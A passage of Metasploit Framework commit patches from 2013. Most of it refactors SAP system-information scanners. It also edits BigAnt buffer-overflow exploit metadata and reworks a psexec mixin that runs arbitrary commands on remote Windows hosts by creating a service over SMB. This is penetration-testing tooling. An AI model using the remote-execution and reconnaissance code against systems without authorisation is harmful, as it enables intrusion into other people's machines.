$1 if response =~ /(.*)<\/RFCPROTO>/i - rfcchartyp = $1 if response =~ /(.*)<\/RFCCHARTYP>/i - rfcinttyp = $1 if response =~ /(.*)<\/RFCINTTYP>/i - rfcflotyp = $1 if response =~ /(.*)<\/RFCFLOTYP>/i - rfcdest = $1 if response =~ /(.*)<\/RFCDEST>/i - rfchost = $1 if response =~ /(.*)<\/RFCHOST>/i - rfcsysid = $1 if response =~ /(.*)<\/RFCSYSID>/i - rfcdbhost = $1 if response =~ /(.*)<\/RFCDBHOST>/i - rfcdbsys = $1 if response =~ /(.*)<\/RFCDBSYS>/i - rfcsaprl = $1 if response =~ /(.*)<\/RFCSAPRL>/i - rfcmach = $1 if response =~ /(.*)<\/RFCMACH>/i - rfcopsys = $1 if response =~ /(.*)<\/RFCOPSYS>/i - rfctzone = $1 if response =~ /(.*)<\/RFCTZONE>/i - rfcdayst = $1 if response =~ /(.*)<\/RFCDAYST>/i - rfcipaddr = $1 if response =~ /(.*)<\/RFCIPADDR>/i - rfckernrl = $1 if response =~ /(.*)<\/RFCKERNRL>/i - rfcipv6addr = $1 if response =~ /(.*)<\/RFCIPV6ADDR>/i - saptbl << [ "Release Status of SAP System", rfcsaprl ] - saptbl << [ "RFC Log Version", rfcproto ] - saptbl << [ "Kernel Release", rfckernrl ] - saptbl << [ "Operating System", rfcopsys ] - saptbl << [ "Database Host", rfcdbhost] - saptbl << [ "Central Database System", rfcdbsys ] + # extract data from response body + rfcproto = extract_field(response, 'rfcproto') + rfcchartyp = extract_field(response, 'rfcchartyp') + rfcinttyp = extract_field(response, 'rfcinttyp') + rfcflotyp = extract_field(response, 'rfcflotyp') + rfcdest = extract_field(response, 'rfcdest') + rfchost = extract_field(response, 'rfchost') + rfcsysid = extract_field(response, 'rfcsysid') + rfcdbhost = extract_field(response, 'rfcdbhost') + rfcdbsys = extract_field(response, 'rfcdbsys') + rfcsaprl = extract_field(response, 'rfcsaprl') + rfcmach = extract_field(response, 'rfcmach') + rfcopsys = extract_field(response, 'rfcopsys') + rfctzone = extract_field(response, 'rfctzone') + rfcdayst = extract_field(response, 'rfcdayst') + rfcipaddr = extract_field(response, 'rfcipaddr') + rfckernrl = extract_field(response, 'rfckernrl') + rfcipv6addr = extract_field(response, 'rfcipv6addr') - if rfcinttyp == 'LIT' - saptbl << [ "Integer Format", "Little Endian" ] - else - saptbl << [ "Integer Format", "Big Endian" ] - end - saptbl << [ "Hostname", rfchost ] - - if rfcflotyp == 'IE3' - saptbl << [ "Float Type Format", "IEEE" ] - else - saptbl << [ "Float Type Format", "IBM/370" ] - end - - saptbl << [ "IPv4 Address", rfcipaddr ] - saptbl << [ "IPv6 Address", rfcipv6addr ] - saptbl << [ "System ID", rfcsysid ] - saptbl << [ "RFC Destination", rfcdest ] - saptbl << [ "Timezone", "#{rfctzone.gsub(/\s+/, "")} (diff from UTC in seconds)" ] - saptbl << [ "Character Set", rfcchartyp ] - saptbl << [ "Daylight Saving Time", rfcdayst ] - saptbl << [ "Machine ID", rfcmach.gsub(/\s+/, "")] - # output table - print(saptbl.to_s) - - # report notes - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :sname => 'sap', - :type => 'sap.version.release', - :data => "Release Status of SAP System: #{rfcsaprl}" - ) if not rfcsaprl.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :sname => 'sap', - :type => 'sap.version.rfc_log', - :data => "RFC Log Version: #{rfcproto}" - ) if not rfcproto.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :sname => 'sap', - :type => 'sap.version.kernel', - :data => "Kernel Release: #{rfckernrl}" - ) if not rfckernrl.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :sname => 'sap', - :type => 'system.os', - :data => "Operating System: #{rfcopsys}" - ) if not rfcopsys.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'sap.db.hostname', - :data => "Database Host: #{rfcdbhost}" - ) if not rfcdbhost.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'sap.db_system', - :data => "Central Database System: #{rfcdbsys}" - ) if not rfcdbsys.empty? + # report notes / create saptbl output + report_note_sap('sap.version.release','Release Status of SAP System: ',rfcsaprl) if rfcsaprl + report_note_sap('sap.version.rfc_log','RFC Log Version: ',rfcproto) if rfcproto + report_note_sap('sap.version.kernel','Kernel Release: ',rfckernrl) if rfckernrl + report_note_sap('system.os','Operating System: ',rfcopsys) if rfcopsys + report_note_sap('sap.db.hostname','Database Host: ',rfcdbhost) if rfcdbhost + report_note_sap('sap.db_system','Central Database System: ',rfcdbsys) if rfcdbsys + report_note_sap('system.hostname','Hostname: ',rfchost) if rfchost + report_note_sap('system.ip.v4','IPv4 Address: ',rfcipaddr) if rfcipaddr + report_note_sap('system.ip.v6','IPv6 Address: ',rfcipv6addr) if rfcipv6addr + report_note_sap('sap.instance','System ID: ',rfcsysid) if rfcsysid + report_note_sap('sap.rfc.destination','RFC Destination: ',rfcdest) if rfcdest + report_note_sap('system.timezone','Timezone (diff from UTC in seconds): ',rfctzone.gsub(/\s+/, "")) if rfctzone + report_note_sap('system.charset','Character Set: ',rfcchartyp) if rfcchartyp + report_note_sap('sap.daylight_saving_time','Daylight Saving Time: ',rfcdayst) if rfcdayst + report_note_sap('sap.machine_id','Machine ID: ',rfcmach.gsub(/\s+/,"")) if rfcmach if rfcinttyp == 'LIT' - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.endianness', - :data => "Integer Format: Little Endian" - ) - elsif not rfcinttyp.empty? - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.endianness', - :data => "Integer Format: Big Endian" - ) + report_note_sap('system.endianness','Integer Format: ', 'Little Endian') + elsif rfcinttyp + report_note_sap('system.endianness','Integer Format: ', 'Big Endian') end - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.hostname', - :data => "Hostname: #{rfchost}" - ) if not rfchost.empty? - if rfcflotyp == 'IE3' - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.float_type', - :data => "Float Type Format: IEEE" - ) - elsif not rfcflotyp.empty? - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.float_type', - :data => "Float Type Format: IBM/370" - ) + report_note_sap('system.float_type','Float Type Format: ', 'IEEE') + elsif rfcflotyp + report_note_sap('system.float_type','Float Type Format: ', 'IBM/370') end - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.ip.v4', - :data => "IPv4 Address: #{rfcipaddr}" - ) if not rfcipaddr.empty? + # output table + print(@saptbl.to_s) - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.ip.v6', - :data => "IPv6 Address: #{rfcipv6addr}" - ) if not rfcipv6addr.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'sap.instance', - :data => "System ID: #{rfcsysid}" - ) if not rfcsysid.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'sap.rfc.destination', - :data => "RFC Destination: #{rfcdest}" - ) if not rfcdest.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.timezone', - :data => "Timezone: #{rfctzone.gsub(/\s+/, "")} (diff from UTC in seconds)" - ) if not rfctzone.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.charset', - :data => "Character Set: #{rfcchartyp}" - ) if not rfcchartyp.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'sap.daylight_saving_time', - :data => "Daylight Saving Time: #{rfcdayst}" - ) if not rfcdayst.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'sap.machine_id', - :data => "Machine ID: #{rfcmach.gsub(/\s+/, "")}" - ) if not rfcmach.empty? end end \ No newline at end of file diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb index 7676ad2611..808695293b 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb @@ -53,6 +53,27 @@ class Metasploit4 < Msf::Auxiliary ], self.class) end + def extract_field(data, elem) + if data =~ /<#{elem}>([^<]+)<\/#{elem}>/i + return $1 + end + nil + end + + def report_note_sap(type, data, value) + # create note + report_note( + :host => rhost, + :port => rport, + :proto => 'tcp', + :sname => 'sap', + :type => type, + :data => data + value + ) if data + # update saptbl for output + @saptbl << [ data, value ] + end + def run_host(ip) client = datastore['CLIENT'] data = '' @@ -86,227 +107,81 @@ class Metasploit4 < Msf::Auxiliary # to do - implement error handlers for each status code, 404, 301, etc. print_error("[SAP] #{ip}:#{rport} - something went wrong!") return + elsif not res + print_error("[SAP] #{ip}:#{rport} - Server did not respond") + return end rescue ::Rex::ConnectionError print_error("[SAP] #{ip}:#{rport} - Unable to connect") return end - print_status("[SAP] #{ip}:#{rport} - got response") - saptbl = Msf::Ui::Console::Table.new( + + print_status("[SAP] #{ip}:#{rport} - Response received") + + # create table for output + @saptbl = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default, - 'Header' => "[SAP] System Info", + 'Header' => "[SAP] ICF RFC_SYSTEM_INFO", 'Prefix' => "\n", 'Postfix' => "\n", 'Indent' => 1, 'Columns' =>[ - "Info", + "Key", "Value" ]) + response = res.body - rfcproto = $1 if response =~ /(.*)<\/RFCPROTO>/i - rfcchartyp = $1 if response =~ /(.*)<\/RFCCHARTYP>/i - rfcinttyp = $1 if response =~ /(.*)<\/RFCINTTYP>/i - rfcflotyp = $1 if response =~ /(.*)<\/RFCFLOTYP>/i - rfcdest = $1 if response =~ /(.*)<\/RFCDEST>/i - rfchost = $1 if response =~ /(.*)<\/RFCHOST>/i - rfcsysid = $1 if response =~ /(.*)<\/RFCSYSID>/i - rfcdbhost = $1 if response =~ /(.*)<\/RFCDBHOST>/i - rfcdbsys = $1 if response =~ /(.*)<\/RFCDBSYS>/i - rfcsaprl = $1 if response =~ /(.*)<\/RFCSAPRL>/i - rfcmach = $1 if response =~ /(.*)<\/RFCMACH>/i - rfcopsys = $1 if response =~ /(.*)<\/RFCOPSYS>/i - rfctzone = $1 if response =~ /(.*)<\/RFCTZONE>/i - rfcdayst = $1 if response =~ /(.*)<\/RFCDAYST>/i - rfcipaddr = $1 if response =~ /(.*)<\/RFCIPADDR>/i - rfckernrl = $1 if response =~ /(.*)<\/RFCKERNRL>/i - rfcipv6addr = $1 if response =~ /(.*)<\/RFCIPV6ADDR>/i - saptbl << [ "Release Status of SAP System", rfcsaprl ] - saptbl << [ "RFC Log Version", rfcproto ] - saptbl << [ "Kernel Release", rfckernrl ] - saptbl << [ "Operating System", rfcopsys ] - saptbl << [ "Database Host", rfcdbhost] - saptbl << [ "Central Database System", rfcdbsys ] - if rfcinttyp == 'LIT' - saptbl << [ "Integer Format", "Little Endian" ] - else - saptbl << [ "Integer Format", "Big Endian" ] - end - saptbl << [ "Hostname", rfchost ] - if rfcflotyp == 'IE3' - saptbl << [ "Float Type Format", "IEEE" ] - else - saptbl << [ "Float Type Format", "IBM/370" ] - end - saptbl << [ "IPv4 Address", rfcipaddr ] - saptbl << [ "IPv6 Address", rfcipv6addr ] - saptbl << [ "System ID", rfcsysid ] - saptbl << [ "RFC Destination", rfcdest ] - saptbl << [ "Timezone", "#{rfctzone.gsub(/\s+/, "")} (diff from UTC in seconds)" ] - saptbl << [ "Character Set", rfcchartyp ] - saptbl << [ "Daylight Saving Time", rfcdayst ] - saptbl << [ "Machine ID", rfcmach.gsub(/\s+/, "")] - # output table - print(saptbl.to_s) - # report notes - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :sname => 'sap', - :type => 'sap.version.release', - :data => "Release Status of SAP System: #{rfcsaprl}" - ) if not rfcsaprl.empty? + # extract data from response body + rfcproto = extract_field(response, 'rfcproto') + rfcchartyp = extract_field(response, 'rfcchartyp') + rfcinttyp = extract_field(response, 'rfcinttyp') + rfcflotyp = extract_field(response, 'rfcflotyp') + rfcdest = extract_field(response, 'rfcdest') + rfchost = extract_field(response, 'rfchost') + rfcsysid = extract_field(response, 'rfcsysid') + rfcdbhost = extract_field(response, 'rfcdbhost') + rfcdbsys = extract_field(response, 'rfcdbsys') + rfcsaprl = extract_field(response, 'rfcsaprl') + rfcmach = extract_field(response, 'rfcmach') + rfcopsys = extract_field(response, 'rfcopsys') + rfctzone = extract_field(response, 'rfctzone') + rfcdayst = extract_field(response, 'rfcdayst') + rfcipaddr = extract_field(response, 'rfcipaddr') + rfckernrl = extract_field(response, 'rfckernrl') + rfcipv6addr = extract_field(response, 'rfcipv6addr') - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :sname => 'sap', - :type => 'sap.version.rfc_log', - :data => "RFC Log Version: #{rfcproto}" - ) if not rfcproto.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :sname => 'sap', - :type => 'sap.version.kernel', - :data => "Kernel Release: #{rfckernrl}" - ) if not rfckernrl.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :sname => 'sap', - :type => 'system.os', - :data => "Operating System: #{rfcopsys}" - ) if not rfcopsys.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'sap.db.hostname', - :data => "Database Host: #{rfcdbhost}" - ) if not rfcdbhost.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'sap.db_system', - :data => "Central Database System: #{rfcdbsys}" - ) if not rfcdbsys.empty? + # report notes / create saptbl output + report_note_sap('sap.version.release','Release Status of SAP System: ',rfcsaprl) if rfcsaprl + report_note_sap('sap.version.rfc_log','RFC Log Version: ',rfcproto) if rfcproto + report_note_sap('sap.version.kernel','Kernel Release: ',rfckernrl) if rfckernrl + report_note_sap('system.os','Operating System: ',rfcopsys) if rfcopsys + report_note_sap('sap.db.hostname','Database Host: ',rfcdbhost) if rfcdbhost + report_note_sap('sap.db_system','Central Database System: ',rfcdbsys) if rfcdbsys + report_note_sap('system.hostname','Hostname: ',rfchost) if rfchost + report_note_sap('system.ip.v4','IPv4 Address: ',rfcipaddr) if rfcipaddr + report_note_sap('system.ip.v6','IPv6 Address: ',rfcipv6addr) if rfcipv6addr + report_note_sap('sap.instance','System ID: ',rfcsysid) if rfcsysid + report_note_sap('sap.rfc.destination','RFC Destination: ',rfcdest) if rfcdest + report_note_sap('system.timezone','Timezone (diff from UTC in seconds): ',rfctzone.gsub(/\s+/, "")) if rfctzone + report_note_sap('system.charset','Character Set: ',rfcchartyp) if rfcchartyp + report_note_sap('sap.daylight_saving_time','Daylight Saving Time: ',rfcdayst) if rfcdayst + report_note_sap('sap.machine_id','Machine ID: ',rfcmach.gsub(/\s+/,"")) if rfcmach if rfcinttyp == 'LIT' - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.endianness', - :data => "Integer Format: Little Endian" - ) - elsif not rfcinttyp.empty? - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.endianness', - :data => "Integer Format: Big Endian" - ) + report_note_sap('system.endianness','Integer Format: ', 'Little Endian') + elsif rfcinttyp + report_note_sap('system.endianness','Integer Format: ', 'Big Endian') end - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.hostname', - :data => "Hostname: #{rfchost}" - ) if not rfchost.empty? - if rfcflotyp == 'IE3' - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.float_type', - :data => "Float Type Format: IEEE" - ) - elsif not rfcflotyp.empty? - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.float_type', - :data => "Float Type Format: IBM/370" - ) + report_note_sap('system.float_type','Float Type Format: ', 'IEEE') + elsif rfcflotyp + report_note_sap('system.float_type','Float Type Format: ', 'IBM/370') end - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.ip.v4', - :data => "IPv4 Address: #{rfcipaddr}" - ) if not rfcipaddr.empty? + # output table + print(@saptbl.to_s) - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.ip.v6', - :data => "IPv6 Address: #{rfcipv6addr}" - ) if not rfcipv6addr.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'sap.instance', - :data => "System ID: #{rfcsysid}" - ) if not rfcsysid.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'sap.rfc.destination', - :data => "RFC Destination: #{rfcdest}" - ) if not rfcdest.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.timezone', - :data => "Timezone: #{rfctzone.gsub(/\s+/, "")} (diff from UTC in seconds)" - ) if not rfctzone.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.charset', - :data => "Character Set: #{rfcchartyp}" - ) if not rfcchartyp.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'sap.daylight_saving_time', - :data => "Daylight Saving Time: #{rfcdayst}" - ) if not rfcdayst.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'sap.machine_id', - :data => "Machine ID: #{rfcmach.gsub(/\s+/, "")}" - ) if not rfcmach.empty? end end From f3cf8ad1b9e72a1e63d10d83bc1f5b8ca6e7b3aa Mon Sep 17 00:00:00 2001 From: Chris John Riley Date: Tue, 19 Feb 2013 11:13:33 +0100 Subject: [PATCH 275/448] Whitespace EOL --- modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb | 2 +- modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb index 6679e13e44..ad808d5c43 100644 --- a/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb +++ b/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb @@ -62,7 +62,7 @@ class Metasploit4 < Msf::Auxiliary :host => rhost, :port => rport, :proto => 'tcp', - :sname => 'sap', + :sname => 'sap', :type => type, :data => data + value ) if data diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb index 808695293b..7bece972d3 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb @@ -66,7 +66,7 @@ class Metasploit4 < Msf::Auxiliary :host => rhost, :port => rport, :proto => 'tcp', - :sname => 'sap', + :sname => 'sap', :type => type, :data => data + value ) if data From 358b2f578380ffc011b0661bf0ec43243a2cf52a Mon Sep 17 00:00:00 2001 From: Chris John Riley Date: Tue, 19 Feb 2013 11:15:04 +0100 Subject: [PATCH 276/448] Added module credit as this has turned into a rewrite ;) --- modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb index 7bece972d3..8408a4ae1d 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb @@ -40,7 +40,8 @@ class Metasploit4 < Msf::Auxiliary 'Author' => [ 'Agnivesh Sathasivam', - 'nmonkee' + 'nmonkee', + 'ChrisJohnRiley' # module cleanup / streamlining ], 'License' => MSF_LICENSE ) From d49797267e2f068f68a63c51c47370165570070c Mon Sep 17 00:00:00 2001 From: Chris John Riley Date: Tue, 19 Feb 2013 11:20:49 +0100 Subject: [PATCH 277/448] Correct SAP Table Name --- modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb index 8408a4ae1d..1ec8aee729 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb @@ -122,7 +122,7 @@ class Metasploit4 < Msf::Auxiliary # create table for output @saptbl = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default, - 'Header' => "[SAP] ICF RFC_SYSTEM_INFO", + 'Header' => "[SAP] SOAP RFC_SYSTEM_INFO", 'Prefix' => "\n", 'Postfix' => "\n", 'Indent' => 1, From 4ea6b8892b0d722fb651180e8b62cb950042e6d4 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 19 Feb 2013 10:28:23 -0600 Subject: [PATCH 278/448] Lack of action moved the deadline to Mar15 Because this change was delayed in getting reviewed and landed, moved the SVN deadline out two weeks. --- msfconsole | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/msfconsole b/msfconsole index 8c4c718c9a..27d3cb939f 100755 --- a/msfconsole +++ b/msfconsole @@ -36,7 +36,7 @@ end def print_deprecation_warning $stdout.puts "" - $stdout.puts "[*] Deprecation Note: After 2013-02-28 (February 28, 2013), Metasploit" + $stdout.puts "[*] Deprecation Note: After 2013-03-15 (March 15, 2013), Metasploit" $stdout.puts "[*] source checkouts will NO LONGER update over SVN, but will be using" $stdout.puts "[*] GitHub exclusively. You should either download a new Metasploit" $stdout.puts "[*] installer, or use a git clone of Metasploit Framework before" From 49f00acc1187f38a55fcaa5cd31b081575dc19b3 Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 19 Feb 2013 11:24:05 -0600 Subject: [PATCH 279/448] Fix nil deref when dnsdomain is empty --- modules/auxiliary/scanner/smb/psexec_loggedin_users.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb b/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb index 7ed1b96f4d..ca6c2f5c2f 100644 --- a/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb +++ b/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb @@ -164,8 +164,10 @@ class Metasploit3 < Msf::Auxiliary print_good("#{peer} - #{user}") report_user(user.chomp) else - if username = query_session(smbshare, ip, cmd, text, bat) - user = dnsdomain.split(" ")[2].split(".")[0].to_s + "\\" + username.to_s + username = query_session(smbshare, ip, cmd, text, bat) + if username + hostname = (dnsdomain.split(" ")[2] || "").split(".")[0] || "." + user = "#{hostname}\\#{username}" print_good("#{peer} - #{user}") report_user(user.chomp) else @@ -175,7 +177,7 @@ class Metasploit3 < Msf::Auxiliary else print_status("#{peer} - Could not determine logged in users") end - rescue StandardError => check_error + rescue Rex::Proto::SMB::Exceptions::Error => check_error print_error("#{peer} - Error checking reg key. #{check_error.class}. #{check_error}") return check_error end From 9813c815efbe371ca711890ba84b636ca9fa0233 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 19 Feb 2013 11:40:06 -0600 Subject: [PATCH 280/448] Minor changes --- .../exploits/windows/misc/bigant_server_sch_dupf_bof.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb b/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb index fd560463cd..f72d6c171d 100644 --- a/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb +++ b/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb @@ -14,15 +14,15 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'BigAnt Server SCH And DUPF Buffer Overflow', + 'Name' => 'BigAnt Server 2 SCH And DUPF Buffer Overflow', 'Description' => %q{ - This exploits a stack buffer overflow in the BigAnt Server 2.97 SP7. The + This exploits a stack buffer overflow in BigAnt Server 2.97 SP7. The vulnerability is due to the dangerous usage of strcpy while handling errors. This - module uses a combination of SCH and DUPF request to trigger the vulnerability and + module uses a combination of SCH and DUPF request to trigger the vulnerability, and has been tested successfully against version 2.97 SP7 over Windows XP SP3 and Windows 2003 SP2. }, - 'Author' => + 'Author' => [ 'Hamburgers Maccoy', # Vulnerability discovery 'juan vazquez' # Metasploit module From 5108e8ef1ce3c7432eb85c8cc2de4d4fb803dac5 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 19 Feb 2013 11:44:41 -0600 Subject: [PATCH 281/448] Correct tab --- modules/exploits/windows/misc/bigant_server_dupf_upload.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/misc/bigant_server_dupf_upload.rb b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb index bed756cb52..769d2e2252 100644 --- a/modules/exploits/windows/misc/bigant_server_dupf_upload.rb +++ b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb @@ -29,7 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote has been successfully tested on BigAnt Server 2.97 SP7 over Windows XP SP3 and 2003 SP2. }, - 'Author' => + 'Author' => [ 'Hamburgers Maccoy', # Vulnerability discovery 'juan vazquez' # Metasploit module From ede804e6affa6ae24e8c62a22e01430b3e6d6aed Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 19 Feb 2013 12:33:19 -0600 Subject: [PATCH 282/448] Make psexec mixin a bit better * Removes copy-pasted code from psexec_command module and uses the mixin instead * Uses the SMB protocol to delete files rather than psexec'ing to call cmd.exe and del * Replaces several instances of "rescue StandardError" with better exception handling so we don't accidentally swallow things like NoMethodError * Moves file reading and existence checking into the Exploit::SMB mixin --- lib/msf/core/exploit/psexec.rb | 139 ++++------- lib/msf/core/exploit/smb.rb | 66 +++++- modules/auxiliary/admin/smb/psexec_command.rb | 221 ++++-------------- 3 files changed, 149 insertions(+), 277 deletions(-) diff --git a/lib/msf/core/exploit/psexec.rb b/lib/msf/core/exploit/psexec.rb index f63a93f8e1..58e6788695 100644 --- a/lib/msf/core/exploit/psexec.rb +++ b/lib/msf/core/exploit/psexec.rb @@ -1,11 +1,14 @@ require 'msf/core' +require 'msf/core/exploit/dcerpc' module Msf #### -# This module alows for reuse of the psexec code execution module -# This code was stolen straight out of psexec.rb.Thanks very much for all -# who contributed to that module!! Instead of uploading and runing a binary. +# Allows for reuse of the psexec code execution technique +# +# This code was stolen straight out of the psexec module. Thanks very +# much for all who contributed to that module!! Instead of uploading +# and runing a binary. #### module Exploit::Remote::Psexec @@ -13,34 +16,42 @@ module Exploit::Remote::Psexec include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB - # Retrives output from the executed command + # # @param smbshare [String] The SMBshare to connect to. Usually C$ - # @param ip [IP Address] Remote Host to Connect To - # @param file [File name] Path to the output file relative to the smbshare - # Example: '\WINDOWS\Temp\outputfile.txt' - # @return output or nil if fails - def get_output(smbshare, ip, file) + # @param host [String] Remote host to connect to, as an IP address or + # hostname + # @param file [String] Path to the output file relative to the smbshare + # Example: '\WINDOWS\Temp\outputfile.txt' + # @return [String,nil] output or nil on failure + def smb_read_file(smbshare, host, file) begin - simple.connect("\\\\#{ip}\\#{smbshare}") - outfile = simple.open(file, 'ro') - output = outfile.read - outfile.close - simple.disconnect("\\\\#{ip}\\#{smbshare}") - return output - rescue Rex::Proto::SMB::Exceptions::ErrorCode => output_error - print_error("#{peer} - The file #{file} doesn't exist. #{output_error}.") + simple.connect("\\\\#{host}\\#{smbshare}") + file = simple.open(file, 'ro') + contents = file.read + file.close + simple.disconnect("\\\\#{host}\\#{smbshare}") + return contents + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + print_error("#{peer} - Unable to read file #{file}. #{e.class}: #{e}.") return nil end end - # This method executes a single windows command. If you want to - # retrieve the output of your command you'll have to echo it - # to a .txt file and then use the get_output method to retrieve it - # Make sure to use the cleanup_after method when you are done. + # Executes a single windows command. + # + # If you want to retrieve the output of your command you'll have to + # echo it to a .txt file and then use the {#smb_read_file} method to + # retrieve it. Make sure to remove the files manually or use + # {Exploit::FileDropper#register_files_for_cleanup} to have the + # {Exploit::FileDropper#cleanup} and + # {Exploit::FileDropper#on_new_session} handlers do it for you. + # + # @todo Figure out the actual exceptions this needs to deal with + # instead of all the ghetto "rescue ::Exception" madness # @param command [String] Should be a valid windows command - # @return true if everything wen't well + # @return [Boolean] Whether everything went well def psexec(command) simple.connect("\\\\#{datastore['RHOST']}\\IPC$") handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) @@ -49,8 +60,7 @@ module Exploit::Remote::Psexec vprint_status("#{peer} - Bound to #{handle} ...") vprint_status("#{peer} - Obtaining a service manager handle...") scm_handle = nil - stubdata = - NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F) + stubdata = NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F) begin response = dcerpc.call(0x0f, stubdata) if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil @@ -66,19 +76,19 @@ module Exploit::Remote::Psexec svc_handle = nil svc_status = nil stubdata = - scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + - NDR.long(0x0F01FF) + # Access: MAX - NDR.long(0x00000110) + # Type: Interactive, Own process - NDR.long(0x00000003) + # Start: Demand - NDR.long(0x00000000) + # Errors: Ignore - NDR.wstring( command ) + - NDR.long(0) + # LoadOrderGroup - NDR.long(0) + # Dependencies - NDR.long(0) + # Service Start - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) + # Password - 